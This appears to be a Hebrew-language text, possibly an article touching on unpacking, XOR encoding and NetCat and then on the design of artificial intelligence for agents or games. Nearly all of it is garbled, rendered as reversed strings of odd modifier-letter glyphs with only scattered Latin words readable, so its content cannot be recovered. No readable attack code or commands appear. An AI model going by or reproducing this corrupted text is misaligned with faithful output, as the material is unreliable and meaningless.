˫ˡˣ˵.  ˣˢˤï ˷˧ ˫˩˪ ˳˟ˣ˵ ˤˣ˶˞ ˞˪˷ ˢˢˣˤˬ ˰"˧ ˧˵˶ˣ˯ ˸ˣˬ˧˸˥ ˶ˣ˸˟ NetCat )x˞ ˪˩ ˶˟ˡ ˶˥˞ ˫˸˶˥˟˷ 

ˤˣ˶˞˪.( 

ˢˬ ˢ˶˵˧˷ ˣ˴˧˶˸˷˩ ˸˞ ˳˟ˣ˵ˢ ˷ˡ˥ˢ ,˸ˡˣ˵ˮ ˢ˯˧ˮ˩ˢ ˸˧ˮ˩ˣ˸˪ ˢ˧ˢ˸ ˸˞˪ˣ˪ s-Unpacking .ˢ˞˪ˣ˪ˢ 

˰˴˟˸ ,˪˥ˢ ˸˪˧˥˸ˬ ˰˦˵ˬ ˡˣ˵ˢ ˶ˣ˟˰ˣ ˪˩ Byte, XOR ˫˰ ˥˸˲ˢ ˫˸˶˥˟˷ .˭ˣˣ˧˩ˬ ˷-XOR ˞˧ˢ ˢ˪ˣ˰˲ 

ˢ˩˧˲ˢ ,˰ˠ˶˟ ˣ˷˰˸˷ XOR ˫˰˲˟ ˢ˧ˮ˷ˢ )˫˰˲ˢ ˢˮˣ˷˞˶ˢ ˢ˸˧ˢ ˳˟ˣ˵ˢ˷˩ ˡˡ˧˵ ˸˞ ˣˬ˴˰ (-sByte 

˶ˣˤ˥˧ ˣ˩˶˰˪ ˧˶ˣ˵ˬˢ .˱ˣ˯˟ ˸˞˪ˣ˪ s-Unpacking ˳ˣ˲˵˧ ˡˣ˵ˢ ˢ˶ˤ˥ ˸˧ˮ˩ˣ˸˪ ˸˧˷˞˶ˢ ˸˥ˮ˰ˣ˲ˬˢ ˞˧ˢˣ 

˪˧˥˸˸ ˳ˣ˶˪. 
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ˢˮ˧˟ ˸˧˸ˣ˩˞˪ˬ ï ˞ˣ˟ˬ ˸ˠ˴ˢˣ ˸ˣ˧˰˟ ˫˧˲˶ˠ˩ 
 ˶ˡ˞ ˶˧ˮ ˸˞ˬ)UnderWarrior( 

 

˫˧˷ˮ˞˷˩ ˫˧˰ˬˣ˷ ˣˮ˧ˬ˧˟ ˸˞ ˥ˮˣˬˢ "ˢˮ˧˟ ˸˧˸ˣ˩˞˪ˬ "ˢ˟˶ˢ˟ ˫˧˶˵ˬ ˢ˪ˣ˰ ˢˮˣˬ˸ ˸˶˧˧ˣ˴ˬ˷ ˣˮ˪ ˧˦˶˯˟ 

˰ˣˮ˪ˣ˵ˢ ï ˧˪ˣ˞ xʕ ˢˮˣˬ˸ˢ ˪˷ ˡ˪ˣˮ˶˞ ˶ˠˮ˴˶ˣˣ˷ ˵˥˷ˬ ˦ˣ˟ˣ˶˩ ˡ˧˸˰ˢˬ ,ˣ˞ ˪˷ ˫˧˦ˣ˟ˣ˶ˢ ˫˧ˬ˧˧˞ˬˢ 

˸˶ˡ˯ˬ ˧˦˶˯ ˯˵˧˶˦ˬˢ. 

˸ˣ˶ˬ˪ ˫ˣ˥˸ˢ˷ ˥˸˲˸ˬ ˶˵˥ˮˣ ˪˩ ˭ˬˤˢ ,ˣˮ˥ˮ˞ ˫˧˵ˣ˥˶ ˡˣ˞ˬ ˥ˣ˸˧˲ˬ ˸ˣ˩˶˰ˬ ˸ˣ˶˧˩ˤˬ˷ ˸˞ ˫˧˦ˣ˟ˣ˶ˢ 

˫˧˦˶˯ˢˬ .˫˰ ˸˞ˤ ˫˧˷ˣˬ˧˷ ˪˷ ˢˮ˧˟ˢ ˸˧˸ˣ˩˞˪ˬˢ ˣˮ˞ ˫˧˞ˣ˶ ˸ˣˬˣ˵ˬ˟ ˫˧˟˶ ˫˪ˣ˰˟ ˢˮ˩ˣ˸ˢ :˧˵˥˷ˬ 

˟˷˥ˬ ˫˧˷ˬ˸˷ˬ ˢˮ˧˟˟ ˸˧˸ˣ˩˞˪ˬ ˧ˡ˩ ˸ˣˬˡ˪ ˟˧˶˧ ˡˡˣˬ˸ˬˢ ˪ˣˬ ˭˵˥˷ˢ ,˧˰ˣˮˬ ˷ˣ˲˧˥ ˫˧˥˪ˣ˷ ˫˧ˮ˩ˣ˯ 

˫˧˯ˮˬˢ ˭˧˟ˢ˪ ˸˞ ˸˷˶ˢ ˶ˣˤ˰˪ˣ ˣˮ˪ ˷˲˥˪ ˰ˡ˧ˬ ,˸ˣˮ˩ˣ˸ ˸ˣ˧ˡ˶˷ˬ ˸ˣˮˣ˷ ˸ˣˡˬˣ˪ ˸˞ ˫˧˪ˠ˶ˢˢ ˣˮ˪˷ 

˸ˣˬ˧˞˸ˬˣ ˸˞ ˭ˬ˴˰ ˣˮ˧˪˞. 

˸˶ˡ˯˟ ˫˧˶ˬ˞ˬˢ ˢ˪˧˥˸ˬ˷ ˶ˬ˞ˬ˟ ˢˤ ˧ˮ˞ ˢ˴ˣ˶ ˶˟ˡ˪ ˪˰ ˫ˣ˥˸ ˶˵˥ˬˢ ˪˷ ˢˮ˧˟ˢ ˸˧˸ˣ˩˞˪ˬˢ ,ˣˬ˩ 

˞ˣˢ˷ ˫˧ˬ˧˟ ˢ˪˞ .˫˧˶ˬ˞ˬˢ ˫˧ˡ˰ˣ˧ˬ ˢ˞˧˶˵˪ ˶ˣ˟˰ ˫˧˸ˮ˩˸ˬ ,˨˞ ˞˪ ˥˶˩ˢ˟ ˫˧˞ˬˡ˵˞ .˧ˮ˞ ˢ˯ˮ˞ 

ˠ˧˴ˢ˪ ˸˞ ˸ˣˮˣ˶˵˰ˢ ˧˧˶ˣ˥˞ˬ ˫˧ˬ˸˧˶ˣˠ˪˞ˢ ˫˧ˬ˧˧˵ˢ ˨˞ ˞˪ ˯ˮ˩ˢ˪ ˢ˵˧˦ˬ˸ˬ˪ ˢˡ˟˩ˢ ˫ˢ˧˶ˣ˥˞ˬ˷. 

 

˧ˡ˩ ˶˟ˡ˪ ˪˰ ˫ˣ˥˸ ˢˮ˧˟ˢ ˸˧˸ˣ˩˞˪ˬˢ ˪˧˥˸ˮ ˶˟˯ˢ˟ ˢˬ xʕ ˪˪˩˟ ˢˮ˧˟ ˸˧˸ˣ˩˞˪ˬ .ˢˮ˧˟ ˸˧˸ˣ˩˞˪ˬ ˞˧ˢ 

˫ˣ˥˸ ˶˵˥ˬ ˧˰ˡˬ˟ ˟˷˥ˬˢ ,ˢ˶˦ˬˢ˷ ˣ˪˷ ˞˧ˢ ˥ˣ˸˧˲ ˫˧ˬ˸˧˶ˣˠ˪˞ ˢ˯˧˲˸˪ ,˸˵˯ˢ ˸ˣˮ˵˯ˬ ˢˡ˧ˬ˪ˣ ,

˸˞ˤˣ ˧ˡ˩ ˶ˣ˸˲˪ ˸ˣ˧˰˟ ˸ˣ˟˩˶ˣˬ .ˣˬ˧˷ ˟˪ ï ˢ˶ˡˠˢ xʕ ˢˮˣ˷ ˸˧˸ˣ˰ˬ˷ˬ ˢ˯˧˲˸ˢˬ ˸˧˶ˣ˧˴ˢ ˫˧˦˶˯ˢ˷ 

˫˧˶˴˧˧ˬ ˣˮ˪ .ˡˣ˰˟ ˫˧˦˶˯ˢ˷ ˫˧ˠ˧˴ˬ ˸ˣˮˣ˩ˬ "˸ˣ˟˷ˣ˥" ,˭˸˧ˮ˷ ˞ˣ˶˵˪ ˭ˢ˪ ˣ˪˧˲˞ ˸ˣ˧˷ˣˮ˞ ˭˟ˣˬ˟ ˫˧˧ˣ˯ˬ ,

˶˵˥ˬˢ ˫ˣ˥˸˟ ˢˮ˧˟ˢ ˸˧˸ˣ˩˞˪ˬˢ ˤ˩˶˸ˬ ˣ˟ˣ˶˟ ˢ˶˦ˬ˟ ˸˧ˮ˸˲˞˷ ˢ˟˶ˢ ˸ˣ˥˲. 

˫˞ˢ ˧˞ ˫˰˲ ˣ˧ˢ˧ ˸ˣˮˣ˩ˬ ˸ˬ˞˟˷ ˣ˰ˡ˧ ˟ˣ˷˥˪ ?˞˷ˣˮ ˢˤ ˵˸˶ˬ ˸˞ ˫˧ˮ˰ˡˬˢ ˪˩˟ ˫˪ˣ˰ˢ .˭˰ˡˬˢ ˭˪˞ 

ˠˮ˧˶ˣ˧˦ ˰˧˴ˢ ˟-1950 ˭˥˟ˬ ˡ˧ˠ˧˷ ˧˸ˬ ˢˮˣ˩ˬ ˟˷˥˸ ˸˧ˮˣ˟˸˪ :ˢˮˣ˩ˬ ˟˷˥˸ ˸˧ˮˣ˟˸˪ ˫˞ ˭˸ˮ˧˧ ˫ˡ˞˪ 

˟˷ˣ˧ˢ ˶ˡ˥˟ ˶ˣˠ˯ ,˪ˢˮ˪ ˢ˥˧˷ ˸ˣ˰˴ˬ˞˟ ˵˷ˬˬ ˟˷˥ˬ )Console (˫˰ ˸ˣ˷˧ ˸˞˴ˬˮ˷ ˶ˡ˥˟ ˧ˮ˷ˢ ,

˶˷˞˩ ˢ˸ˣ˞ ˸ˣ˷˧ ˢ˧ˢ˸ x˞ ˫ˡ˞ x˞ ˢˮˣ˩ˬ ,ˢˣ˫ˡ˞ s˥˥ˣ˷ˬ ˞˪ ˪˩ˣ˧ ˸ˣˢˤ˪ ˫˞ˢ ˣ˪ˣˬ ˟˴˧ˮ ˫ˡ˞ x˞ 

ˢˮˣ˩ˬ .˸ˣ˧ˣ˶˥˸ ˞˪ ˸ˣ˧ˬ˷˶ ,˸ˣˮˣ˩ˬˢ "˸ˣ˶˥˸ ˠˮ˧˶ˣ˧˦" ,˸ˣ˩˶˰ˮ ˧ˡˬ ˢˮ˷ ˶˷˞˩ ˫˧˲˸˸˷ˬˢ ˫˧˯ˮˬ 

ˡ˧ˬ˰ˢ˪ ˸ˣˮ˩ˣ˸ ˣˡˬ˰˧˷ ˭˥˟ˬ˟ .ˡ˰ ˫ˣ˧ˢ ˡˣ˰ ˞˪ ˢ˟˸˩ˮ ˢˮ˩ˣ˸ ˢ˥˧˪˴ˢ˷ ˶ˣ˟˰˪ ˸˞ ˭˥˟ˬ ˧˦ˠˮ˧˶ˣ. 

 

˶ˣˤ˥ˮ ˫˪ˣ˰˪ ˧˶˵˥ˬˢ ˪˷ ˸ˣ˩˶˰ˬˢ ˸ˣˡˬˣ˪ˢ .ˡ˥˞ ˫˧ˠ˷ˣˬˢ ˫˧˟ˣ˷˥ˢ ˫˪ˣ˰˟ ˢˤ ˞ˣˢ ˠ˷ˣˬ ˭˩ˣ˯ˢ 

˧˦ˮˠ˧˪˧˦ˮ˧˞ˢ .˭˩ˣ˯ ˧˦ˮˠ˧˪˦ˮ˧˞ xʕ ˸ˣ˷˧ ˸˯˲ˣ˸ˢ ˸˞ ˢ˟˧˟˯ˢ ˢ˪˷ ˸˪˰ˣ˲ˣ ˢ˧˪˰ ˧ˡ˩ ˠ˧˷ˢ˪ ˸ˣ˶˦ˬ 

ˣ˶ˡˠˣˢ˷ ˪˰ ˧ˡ˧ ˢ˧ˮˣˡ˞ .˵˥˷ˬ˟ ˦ˬ˥˷ ,˪˷ˬ˪ ,˭˩ˣ˯ˢ ˞ˣˢ ˟˷˥ˬˢ ˵˥˷ˬˢ ˪ˣˬ ˭˵˥˷ˢ .ˢ˶˦ˬˢ ˣ˪˷ 

˞˧ˢ ˥˴ˮ˪ ˸˞ ˭˵˥˷ˢ .˭˩ˣ˯ ˢ˯ˮˬ˷ ˶ˣ˸˲˪ ˨ˣ˟ˬ ,ˢ˶˦ˬˢ ˣ˪˷ ˞˧ˢ ˞ˣ˴ˬ˪ ˪ˣ˪˯ˬ ˢ˞˧˴˧˪ )x˞ ˧˪ˣ˞ ï ˸˞ 

˪ˣ˪˯ˬˢ ˶˴˵ˢ ˶˸ˣ˧˟ ˢ˞˧˴˧˪ .(˦ˣ˟ˣ˶ ˷˲˥ˬˢ ˫˧ˬ˴˰ ˫˧ˬ˧˧ˣ˯ˬ ˣ˸˟˧˟˯˟ ˞ˣˢ ˞ˬˠˣˡ ˸˲˯ˣˮ ˭˩ˣ˯˪ 

˧˦ˮˠ˧˪˧˦ˮ˧˞.  
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ˢˬ˪ ˠ˷ˣˬˢ ˪˷ ˭˩ˣ˯ˢ ˧˦ˮˠ˧˪˧˦ˮ˧˞ˢ ˪˩ ˨˩ ˟ˣ˷˥ ?˧˩ ˣˢˤ ˟˧˩˶ˢ ˧˦ˮˠ˧˪˧˦ˮ˧˞ˢ ˸˩˶˰ˬ˟ ˣˮ˪˷ ,ˢ˧ˮ˷˟ˣ 

ˣ˯˲˸˸˷ ˸˞ ˦˲˯ˮˣ˵ˢ ˣ˪˩ˣ˸ ˷ˬˬ˪ ˢˮ˧˟ ˸˧˸ˣ˩˞˪ˬ ˸˪˟ˠˣˬ ˸ˣˮ˩ˣ˸˟ ˫˩˪˷ ,˫ˠ ˧˪˟ ˵ˬ˰˸ˢ˪ ˪˩˟ 

˫ˣ˥˸ˢ ˧˦˶ˣ˞˧˸ˢ ˪˷ sˢˮ˧˟ s˸˧˸ˣ˩˞˪ˬ ˧˰ˡˬ˟ ˟˷˥ˬˢ. 

˥˧ˮˮ ˷˧˷ ˫˩˪ ˢ˧˰˟ ˫˩ˮˣ˴˶˟˷ ˶ˣ˸˲˪ ï ˞ˬˠˣˡ˪ ˢ˧˰˟ˢ ˣˮˠ˴ˢ˷ ˫ˡˣ˵ ï ˸˞˧˴ˬ ˪ˣ˪˯ˬ ˨ˣ˟ˬ˟ .˸˧˷˞˶ 

ˣˮ˥ˮ˞ ˫˧˩˧˶˴ ˞ˣ˴ˬ˪ ˠˣ˴˧ ˫˪ˣ˰˪ :˪˩ˣˮ ˠ˴˧˧˪ ˸˞ ˨ˣ˟ˬˢ ˪˰ ˧ˡ˧ ˨˶˰ˬ ï ˞˸ ˷˧˷ x˟ 1 ˣ˷ˣ˶˧˲ ˶˧˵ ˞˪˷ 

˭˸˧ˮ ˶ˣ˟˰˪ ˣ˩˶ˡ ,˞˸ ˷˧˷ x˟ 0 ˣˢˤ ˪˧˟˷ ˶˷˲˞˷ ˶ˣ˟˰˪ x˟ ,˭˩ˣ ˫˧ˮˣ˸ˮ ˸ˣ˦ˮ˧ˡ˶ˣ˵ˢ ˪˷ ˸ˡˣ˵ˮ 

ˢ˪˥˸ˢˢ .˭˩ˣ˯ˢ ˣˮ˪˷ ˢ˧ˢ˧ ˰˦˵ ˡˣ˵ ˪˰˲˧˷ ˨˩: 

˪˩ ˡˣ˰ ˞˪ ˸˰ˠˢ ˪˞ ˢ˞˧˴˧ˢ: 

 ˰˴˟ ˡ˰˴ ˟˶˵˧˷ ˨˸ˣ˞ ˪˞ ˢ˞˧˴˧ˢ )ˡ˰˴ ˢˤ ˪ˣ˩˧ ˰˴˟˸ˢ˪ ˪˰ ˧ˡ˧ ˫˧ˬ˸˧˶ˣˠ˪˞ ˫˧˟˶ ˫˧ˮˣ˷ˣ( 

 

˰ˠ˶˟ ˢˤ ˣˮ˶ˡˠˢ ˭˩ˣ˯ ˧˦ˮˠ˧˪˧˦ˮ˧˞ ˶˸ˣ˲˷ ˸˞ ˢ˧˰˟ˢ ï ˸˞˧˴ˬ ˪ˣ˪˯ˬˢ ˨ˣ˟ˬ˟ .˫˞ˢ ˞ˣˢ ˥˧˪˴˧ ?˧ˣ˪˸ 

˫˸˧˶ˣˠ˪˞˟ ˶˥˟ˮ˷ ˧ˡ˩ ˰˴˟˪ ˸˞ ˡ˰˴ˢ .˫˞ˢ ˞ˣˢ ˰˴˟˧ ˸˞ ˢ˪˦ˬˢ ˭ˬˤ˟ ˶˧˟˯ ?˧ˣ˪˸ ˨ˣ˟ˬ˟ ˭˩ˣ ˧ˣ˪˸ 

˫˸˧˶ˣˠ˪˞˟ ˶˥˟ˮ˷ .˶˷˞˩ ˦˲˯ˮˣ˵ˢ ˪˷ ˭˩ˣ˯ˢ ˧˦ˮˠ˧˪˧˦ˮ˧˞ˢ ˶ˣ˶˟ ,˪˩ˣˮ ˶˲˷˪ ˸˞ ˸ˣˮˬˣ˧ˬˢ ˣˮ˪˷ 

˸˟˧˸˩˟ ˸ˣ˧ˮ˩ˣ˸ ˸ˣ˵˯ˣ˰ˢ ˢˮ˧˟˟ ˸˧˸ˣ˩˞˪ˬ ˪˰ ˧ˡ˧ ˡˣˬ˧˪ ˪˷ ˫˧ˬ˸˧˶ˣˠ˪˞  ˫˧˲˯ˣˮ˸ˣ˵˧ˮ˩˦ˣ ˪˧˰˧˸ˣ ˶˸ˣ˧. 

 

ˢˮ˧˟ˢ ˸˧˸ˣ˩˞˪ˬˢ ˸˵˯ˣ˰ ˫˧ˬˣ˥˸˟ ˫˧ˮˣ˷ ˸ˣ˪˞˷˟ˣ ˸ˣˮˣ˷: 

¶ ɣ ˣ˴˧˧ ˰ˡ˧ ï ˨˧˞ ˠ˴˧˧ˮ ˸˞ ˰ˡ˧ˢ ˧˦ˮˣˣ˪˶ˢ ˣˮ˪ ˟˷˥ˬ˟ ?ˢ˶˵ˬ˟ ˪˷ ˨ˣ˟ˬˢ ˣˮˠ˴˧˧ ˸˞ ˨ˣ˟ˬˢ ˪˰ 

˧ˡ˧ ˨˶˰ˬ ˦ˣ˷˲ .˞˪ ˡ˧ˬ˸ ˢ˟ˣ˷˸ˢ ˢ˧ˢ˸ ˣˤ˩ ˸˧˪˞˧ˣˣ˧˶˦ .˪˷ˬ˪ ï ˨˧˞ ˣˠ˴˧˧˸ ˟˷˥ˬ˟ ˸˞ 

˦˲˷ˬˢ "˫˞ ˡ˶ˣ˧ ˫˷ˠ ,˭ˬ˧˯ ˭ˮˣ˰ˬ˷"? 

¶ ˸˵˯ˢ ˸ˣˮ˵˯ˬ ï ˸˵˯ˢ ˸ˣˮ˵˯ˬ ˸ˣ˷ˡ˥ ˬ ˨ˣ˸˰ˡ˧ ˫˧˧˵. 

¶ ˭ˣ˶˸˲ ˫˧˵˥˷ˬ ï ˪˷ˬ˪ ,˸ˮ˩ˣ˸ ˦ˬ˥˷ ˸˧˦ˮˠ˧˪˧˦ˮ˧˞. 

¶ ˢˡ˧ˬ˪ ï ˨˧˞ ˢˮ˟ˮ ˫˧ˮ˩ˣ˯ ˣ˶˲˸˷˧˷ ˫˰ ˭ˬˤˢ ˫˰ˣ ˸ˣ˧ˣ˯ˮ˸ˢˢ ˫˧˶˟ˣ˰˷ ˫ˢ˧˪˰? 

¶ ˸ˮ˟ˢ ˢ˲˷ ˸˧˰˟˦ ï ˨˧˞ ˫ˣ˶ˠˮ ˟˷˥ˬ˪ ˭˧˟ˢ˪ ˦˯˵˦ ˟ˣ˸˩ ?)˟ˣ˷˥ ˡ˥ˣ˧ˬ˟ ˧˰ˣˮˬ˪ ˷ˣ˲˧˥ .(

˨˧˞ ˫ˣ˶ˠˮ ˟˷˥ˬ˪ ˭˧˟ˢ˪ ˶ˣ˟˧ˡ ?˭˧˧ˡ˰ ˭˧˞ ˟˷˥ˬ ˪ˠˣ˯ˬˢ ˰˴˟˪ ˸ˣˬ˧˷ˬ ˣ˪˞ ˭˲ˣ˞˟ ˟ˣ˦. 

 

˶ˣˤ˥ˮ ˪˞ ˭˩ˣ˯ˢ ˦ˣ˷˲ˢ ˣˮ˶ˡˠˢ˷ ˷˲˥ˬ˷ ˣ˩˶ˡ ˨ˣ˟ˬ˟ ,˶˟ˡˮˣ ˢ˲˧˦ ˪˰ ˷ˣˬ˧ˬˢ ˪˷ ˭˩ˣ˯ˢ .˥ˮˣˬ ˟ˣ˷˥ 

˱˯ˣˮ ˷˧˷ ˨˶ˣ˴ ˠ˧˴ˢ˪ ˞ˣˢ ˥ˮˣˬˢ ˟˴ˬ ˸˩˶˰ˬˢ .˟˴ˬ ˸˩˶˰ˬˢ ˶˞˸ˬ ˸˞ ˸˩˶˰ˬˢ ˰ˠ˶˟ ˭ˣ˸ˮ ˣˢ˷˪˩ .

ˢ˶˦ˬˢ ˪˷ ˭˩ˣ˯ˢ ˞˧ˢ ˫˴˰˟ ˶ˣ˟˰˪ ˟˴ˬˬ ˧˸˪˥˸ˢ ï ˪˷ˬ˪ ,˟˴ˬˢ x˟ ˭˩ˣ˯ˢ ˞˴ˬˮ ˸ˡˣ˵ˮ˟ ˢ˪˥˸ˢˢ 

˪˷ ˨ˣ˟ˬˢ ˟˴ˬ˪ ˧˲ˣ˯ ï ˭˩ˣ˯ˢ ˞˴ˬˮ ˢ˞˧˴˧˟ ˨ˣ˟ˬˢˬ. 

˪˩˟ ˰ˠ˶ ˭ˣ˸ˮ ˭˩ˣ˯ˢ ˫˴˰˟ ˪˧˰˲ˬ ˶ˣ˦˶˲ˣ˞ ˪˰ ˟˴ˬˢ .˶ˣ˦˶˲ˣ˞ ˣˮ˧ˢ ˢ˪ˣ˰˲ ˭˩ˣ˯ˢ˷ ˪ˣ˩˧ ˪˧˰˲ˢ˪ ˧ˡ˩ 

˶˧˟˰ˢ˪ ˸˞ ˫˪ˣ˰ˢ ˟˴ˬˬ ˟˴ˬ˪. ˶ˣ˦˶˲ˣ˞ ˞ˣˢ ˢ˧˴˵ˮˣ˲ ˸˪˟˵ˬˢ ˟˴ˬ )˟˴ˬˢ ˧˥˩ˣˮˢ (ˢ˶˧ˤ˥ˬˣ ˟˴ˬ 

)˟˴ˬˢ ˧˶˥˞ ˸˪˰˲ˢ ˢ˪ˣ˰˲ˢ.(  
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˭˸ˮ˧ˢ˟ ˢ˧˰˟ ˢ˸ˣ˞ ˣˮ˥ˮ˞ ˫˧˴ˣ˶ ˶ˣ˸˲˪ ,˪˰˲ˮ ˢ˶ˣ˴˟ ˢ˞˟ˢ: 

¶ ɣ˴˧˧ˮ ˸˞ ˧˟˴ˬ ˫˪ˣ˰ˢ ˫˧˧˶˷˲˞ˢ ˪˰ ˧ˡ˧ ˱˶ˠ ˫˧˟˴ˬ. 

¶ ɣ˴˧˧ˮ ˸˞ ˢ˧˰˟ˢ ˪˰ ˧ˡ˧ ˟˴ˬˢ ˧˥˩ˣˮˢ ˸˞ˣ ˭ˣ˶˸˲ˢ ˧ˣ˴˶ˢ ˪˰ ˧ˡ˧ ˸˴ˣ˟˵ ˧˟˴ˬ ˢ˶˦ˬ. 

¶ ˪˧˰˲ˮ ˸˧ˠ˦˶˦˯˞ ˷ˣ˲˧˥ ˸˞˧˴ˬ˪ ˪ˣ˪˯ˬ ˱˶ˠ˟ ˫˧˟˴ˬˢ ˟˴ˬˢˬ ˧˥˩ˣˮˢ ˪˞ ˟˴ˬ ˢ˶˦ˬ. 

 

...

 

ˠˣ˴˧ ˪˷ ˨ˣ˟ˬˢ .˪˩˟ ˟˴ˬ ˭˩ˣ˯ˢ ˞˴ˬˮ ˫ˣ˵ˬ˟ ˢˮˣ˷ ˨ˣ˟ˬ˟ 

ˢ˶˵ˬ˟ ˪˷ ˨ˣ˟ˬˢ ˦ˣ˷˲ˢ ˢˤˢ ˡ˰˴ˢ ˪˩˟ ˰ˠ˶ ˢ˧ˢ ˸ˣˬˡ˵˸ˢ .ˢ˶˵ˬ˟ ˪˷ ˨ˣ˟ˬ )x˞ ˢ˧˰˟ (˸˩˟ˣ˯ˬ 

˶˸ˣ˧ ˪˟˵ˮ ˱˶ˠ ˪˷ ˫˧˟˴ˬ: 

ˬ˴ ˟

ˢ˸˥˪˸˧

ˬ˴ ˟

˞˲˷˧˶

ˬ˴ ˟

˞˲˷˧˶

ˬ˴ ˟

˞˲˷˧˶

 

˶˷˞˩ ˫˧˟˴ˬˢ ˫˧ˮˬˣ˯ˬˢ ˵ˣ˶˧˟ ˫ˮ˧ˢ ˧˟˴ˬ ˢ˶˦ˬˢ. 

˭˩ˣ˯ˢ ˞˴ˬ˧ ˪ˣ˪˯ˬ ˭˧˟ ˟˴ˬˢ ˧˸˪˥˸ˢˢ ˡ˥˞˪ ˧˟˴ˬˬ ˢ˶˦ˬˢ: 

ˬ˴ ˟

ˢ˸˥˪˸˧

ˬ˴ ˟

˞˲˷˧˶

ˬ˴ ˟

˞˲˷˧˶

ˬ˴ ˟

˞˲˷˧˶
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˪˟˵ˮ˷˩ ˢ˧˰˟ ˢ˴˶ˮ˷ ˶ˣ˸˲˪ ,˶˧ˡˠˮ ˢ˸ˣ˞ ˪˰ ˧ˡ˧ ˱˶ˠ ˫˧˟˴ˬ: 

¶ ˶˧ ˡˠˮ ˸˞ ˸˴ˣ˟˵ ˫˧˟˴ˬˢ ˫˧˧˶˷˲˞ˢ )˨˧˞ˣ ˫˧ˠ˴˧˧ˬ ˫˸ˣ˞.( 

¶ ˸˶ˡˠˢ ˫˧˶ˣ˦˶˲ˣ˞ˢ ˫˧˶˧˟˰ˬˢ ˟˴ˬˬ ˟˴ˬ˪. 

¶ ˸ˣˮ˩ˣ˸˟ ˸ˣ˩˟ˣ˯ˬ ˶˸ˣ˧ ˪˩ˣˮ ˶˧ˡˠˢ˪ ˫˧˶˟ˡ ˫˧˲˯ˣˮ ï ˪˷ˬ˪ ˶˧˥ˬ ˪˰ ˸ˣ˪ˣ˰˲ ï ˭˩˸˧ ˟˴ˬˬ˷ 

˫˧˧ˣ˯ˬ ˶˷˲˞ ˶ˣ˟˰˪ ˧ˮ˷˪ ˫˧˟˴ˬ ˫˧˶˥˞ ,˪˟˞ ˶˧˥ˬˢ ˪˷ ˶˟˰ˬ ˪˞ ˪˩ ˡ˥˞ ˫ˢˬ ˢˮˣ˷ ,˭˩ˣ˯ˢˣ 

ˢ˯ˮ˧ ˞ˣ˴ˬ˪ ˸˞ ˪ˣ˪˯ˬˢ ˪ˣˤˢ ˶˸ˣ˧˟ ˪˞ ˢ˶˦ˬˢ. 

 

ˢˬ˩ ˸ˣˡˣ˵ˮ ˪˰ s˫˧ˬ˸˧˶ˣˠ˪˞ ˷ˣ˲˧˥˪ ˟˥˶ˬ˟ ˫˧˟˴ˬ : 

¶ ˧˸˪˥˸ˢˢ ˟˴ˬˢˬ ˫˧˪˧˥˸ˬ ˫˧ˬ˸˧˶ˣˠ˪˞ˢ. 

¶ ˢ˪˧˥˸˟ ˱˶ˠˢ ˶ˡˠˣˬ ˵˶ ˢ˶ˣ˴˟ ˞˪ ˸˷˶ˣ˲ˬ )˶ˬˣ˪˩ ,˭ˣ˸ˮ ˣˮ˪ ˟˴ˬˢ ˧˸˪˥˸ˢˢ ˫˧˶ˣ˦˶˲ˣ˞ˣ 

˫˧˞˧˟ˬˢ ˣˮ˸ˣ˞ ˫˧˟˴ˬ˪ ˫˧˞˟ˢ ˫˧ˡ˧˧ˬˢ ï ˭˧˞ ˣˮ˪ ˸˞ ˪˩ ˱˶ˠˢ ˭ˣ˶˩ˤ˟ ˟˷˥ˬˢ.( 

¶ ˬ˸˧˶ˣˠ˪˞ ˧˷ˣ˲˧˥ˢ ˫˧˲˷ˣ˥ ˢˠ˶ˡˢ˟ ˫˧˵˪˥ ˱˶ˠˢˬ ˫˧˩˲ˣˢˣ ˣ˸ˣ˞ ˱˶ˠ˪ ˷˶ˣ˲ˬ. 

¶ ˭ˣ˶˸˲ ˸˧˧˰˟˪ ˷ˣ˲˧˥ :˭ˣ˶˸˲ˢ ˸˧˰˟˪ ˷ˣ˲˧˥ ˞˧ˢ ˸˶ˡ˯ ˫˧˶ˣ˦˶˲ˣ˞ ˫˧˪˧˟ˣˬˢ ˟˴ˬˢˬ 

˧˸˪˥˸ˢˢ ˟˴ˬ˪ ˧˲ˣ˯. 

¶ ˸˪ˣ˰˲ ˥ˣ˸˧˲ ˸ˬˣ˴: ˢ˪ˣ˰˲ˢ ˸˧˯˧˯˟ˢ ˪˷ ˧ˬ˸˧˶ˣˠ˪˞ ˷ˣ˲˧˥ˢ ˞˧ˢ ˸˪ˣ˰˲ ˥ˣ˸˧˲ ˸ˬˣ˴ .ˢ˪ˣ˰˲ 

ˣˤ ˸˪˟˵ˬ ˸ˬˣ˴ ˢ˶˧ˤ˥ˬˣ ˸˞ ˸˴ˣ˟˵ ˫˧˸ˬ˴ˢ ˫˧˟˵ˣ˰ˢ. 

¶ ˸ˣ˧ˠ˦˶˦˯˞ ˷ˣ˲˧˥: ˸˧ˠ˦˶˦˯˞ ˷ˣ˲˧˥ ˢ˶˧ˡˠˬ ˡ˴˧˩ ˷˧ ˷˲˥˪ ˟˥˶ˬ˟ .˪˩ ˸ˣ˧ˠ˦˶˦˯˞ ˷ˣ˲˧˥ˢ 

˸ˣ˰˴˟ˬ ˢ˶ˡ˯ ˪˷ ˧˥ˣ˸˧˲ ˫˧˸ˬ˴ .˸ˣ˧ˠ˦˶˦˯˞ˢ ˸ˣ˪ˡ˟ˮ ˸˶˧˥˟˟ ˸ˬˣ˴ˢ ˞˟ˢ ˥ˣ˸˧˲˪ 

ˢ˦˪˥ˢ˟ˣ ˣ˪˧˞ ˫˧˸ˬ˴ ˣ˶ˬ˷˧ ˭ˣ˶˩˧ˤ˟. 

 

ˣˬ˩ ˭˸˧ˮ˷ ˸ˣ˞˶˪ ,˪˩˟ ˡ˥˞ ˫˧˞˷ˣˮˬ ˢ˪˞ ˭˸˧ˮ ˭ˣˡ˪ ˸ˣ˟˶ ï ˨˧˞ ˶˥˟ˮ ˸˞ ˠˣ˴˧˧ ˫˧˟˴ˬˢ ?)˧˧ˠˣ˴ ˭ˣ˩ˮ ˪˷ 

˟˴ˬ ˞ˣˢ ˡ˥˞ ˫˧ˬ˶ˣˠˢˬ ˫˧˧˦˧˶˵ˢ ˸˰˧˟˵˪ ˧˧ˣ˩˧˯ ˢ˥˪˴ˢˢ ˪˷ ˭˩ˣ˯ˢ(! ,˨˧˞ ˭˩ˣ˯ˢ ˦˧˪˥˧ ˢˤ˧˞˟ 

